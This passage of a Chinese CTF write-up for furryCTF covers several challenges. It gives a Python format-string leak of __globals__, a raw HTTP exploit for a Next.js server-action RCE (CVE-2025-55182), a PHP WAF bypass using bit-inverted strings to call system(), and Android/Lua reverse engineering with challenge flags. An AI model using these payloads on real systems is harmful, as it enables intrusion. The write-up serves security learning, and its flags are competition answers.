def d(): pass
g = chr(95)*2 + chr(103) + chr(108) + chr(111) + chr(98) + chr(97) + chr(108) + chr(115) + chr(95)*2
fmt = "{0." + g + "}"
print(fmt.format(d))  # 输出 dict，其中 flag_content 为 flag
```

下一代有下一代的问题

题目类型: Web / CVE
Flag: `furryCTF{rEAD_CVE_m0Re_t0_DI5CoV3r_NExT_jS_0ad12833d35f}`

解题过程

React+Next.js，CVE-2025-55182 实现 RCE。响应头 `x-action-redirect` 中 a 参数为 flag 的 Base64。

Exp

```http
POST / HTTP/1.1
Host: ctf.furryctf.com:34108
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
X-Nextjs-Html-Request-Id: DTpP7n3EReOqIy4LXUd7M

------WebKitFormBoundary
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response"
------WebKitFormBoundary--
```

响应头 `x-action-redirect` 中 a= 后的值 Base64 解码得 flag。

命令终端

题目类型: Web / 无字母数字 RCE
Flag: `POPF{c4f1c61e-ef57-405c-a33a-52987c5138f9}`

题目分析

题目提示「迷茫时想想 backup」。dirsearch 扫到 `/main/www.zip`，解压得 index.php。WAF：`preg_match('/[a-z0-9$_.\" \s]/i', $code)` 拦截大部分字符，但允许 ~'…'。`PHP 取反：` ~'%8C%86%8C%8B%9A%92'` 还原为 "system"（URL 解码后高位字节再取反）。正则不匹配高位字节，可绕过。

Exp

```python
def get_payload(text):
    return "".join(f"%{255 - ord(c):02X}" for c in text)
# (~'%8C%86%8C%8B%9A%92')(~'%9C%9E%8B%DF%D0%99%93%9E%98');
```

```bash
curl -X POST "http://ctf.furryctf.com:35530/main/index.php" -d "cmd=(~'%8C%86%8C%8B%9A%92')(~'%9C%9E%8B%DF%D0
```

无尽弹球

题目类型: Mobile / Android (MIT App Inventor)
Flag: `furryCTF{Be_The_King_Of_P1ngP0ng}`

题目分析

jadx 反编译，Screen1.java 中搜索 114514，发现分数>=114514 时调用 p$readF1AG 生成 flag。主要逻辑在 lambda10（初始化列表）和 lambda11（字符串替换）。

lambda10 生成 g$flags 列表

索引	值
1	frtuyfrc{
2	See_
3	bE_
4	Th9-
5	K1ng
6	_Of
7	_Master
8	_Pin9P1ng}

lambda11 替换规则（对 1,3,4,5,6,8 项）

- 1: c→C, tf→TF → frtuyfrC{
- 3: b→B, E→e → Be_
- 4: 9→e, -→_ → The_
- 5: 1n→in → King
- 8: 顺序 replace("1","o")→replace("9","g")→replace("i","1")→replace("o","0") → _P1ngP0ng}

拼接与格式

连接得 `frtuyfrC{Be_The_King_Of_P1ngP0ng}`，将头部换为 furryCTF{}。

Exp

```
item1 = 'frtuyfrc{'.replace('c','C').replace('tf','TF')  # frtuyfrC{
item3 = 'bE_'.replace('b','B').replace('E','e')          # Be_
item4 = 'Th9-'.replace('9','e').replace('-','_')         # The_
item5 = 'K1ng'.replace('1n','in')                        # King
item8 = '_Pin9P1ng}'.replace('1','o').replace('9','g').replace('i','1').replace('o','0')  # _P1ngP0ng}
result = item1 + item3 + item4 + item5 + '_Of' + item8  # frtuyfrC{Be_The_King_Of_P1ngP0ng}
flag = 'furryCTF{' + result[9:]  # 换头
print(flag)  # furryCTF{Be_The_King_Of_P1ngP0ng}
```

涩图大赏（修复版）

题目类型: Mobile / Android + Lua (AndroLua)
Flag: `furryCTF{Lua_Upload.php_c9a1f3f3db993f92}`

题目分析

AndroidManifest 中 Application 为 com.androlua.LuaApplication，assets 有大量 .lua。Flag 格式为 furryCTF{Q1_Q2_Q3}。

Q1：主逻辑语言

Lua（AndroLua 框架）。

Q2：设备码上传接口文件名

解密链在 libluajava.so 的 luaL_loadbufferx：

1. **自定义 Base64**：首字节为 `=` 时进入自定义解码
2. **前缀 XOR**：解码后首字节 0x1C 则做前缀累积异或，首字节改为 0x78
3. **zlib inflate**：得到 luac 字节码

对 assets/main0.lua 按此流程解密，unluac 反编译得 decoded_main0.lua。字符串被混淆为 `"l\\004\\1689"` 等形式，用 Gh.lua 的 decrypt_string（长度 XOR）还原：`l\004\1689` →http 等。在 L13_3 函数中，14 个整数经加减异或运算拼接成 `Upload.php?账号=`，故 Q2=**Upload.php**。

Q3：相册数据上传账号

resources/assets/res/data.json 中有 `"账号":"c9a1f3f3db993f92"`，即 Q3。